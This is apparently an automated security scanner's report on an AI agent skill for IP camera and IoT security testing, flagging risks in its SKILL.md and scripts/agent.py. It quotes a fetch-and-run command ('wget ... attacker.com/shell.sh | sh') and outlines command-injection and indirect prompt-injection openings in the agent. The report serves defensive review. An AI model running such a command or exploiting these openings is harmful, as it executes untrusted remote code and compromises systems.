Full Analysis
- [REMOTE_CODE_EXECUTION]: The
SKILL.mdfile contains a literal remote code execution string (wget http://attacker.com/shell.sh | sh) within the 'Enterprise IP Camera Security Assessment' scenario. Although presented as an illustrative example of an exploit finding, the presence of a functional RCE payload targeting an untrusted domain triggers critical detection patterns. - [COMMAND_EXECUTION]: The
scripts/agent.pyscript relies heavily on thesubprocess.run()function to execute external system tools. This creates a surface for command injection if the target IP, interface, or file paths are populated with unsanitized user input. - The script executes
nmap,curl,binwalk,tcpdump,capinfos, andopenssldirectly from Python. - Specifically, the
analyze_firmwaremethod performs recursive extraction andgrepoperations on filesystems derived from external firmware images. - [EXTERNAL_DOWNLOADS]: The skill documentation references downloading and executing shell scripts from
attacker.com. Additionally, thescripts/agent.pyscript usescurlto interact with external network targets andpaho-mqttto connect to remote MQTT brokers. - [INDIRECT_PROMPT_INJECTION]: The skill possesses a significant attack surface for indirect prompt injection because it is designed to ingest and analyze untrusted data from the environment.
- Ingestion points: Reads firmware images (
analyze_firmware) and captures live network traffic (capture_traffic). - Boundary markers: None identified; the skill processes raw binary and text data from extracted filesystems without sanitization.
- Capability inventory: Includes file system writes, network scanning, packet capture, and firmware extraction utilities.
- Sanitization: The script lacks validation for the content of extracted files before performing
grepor other analysis tasks.
Recommendations
- HIGH: Downloads and executes remote code from: http://attacker.com/shell.sh - DO NOT USE without thorough review
- AI detected serious security threats
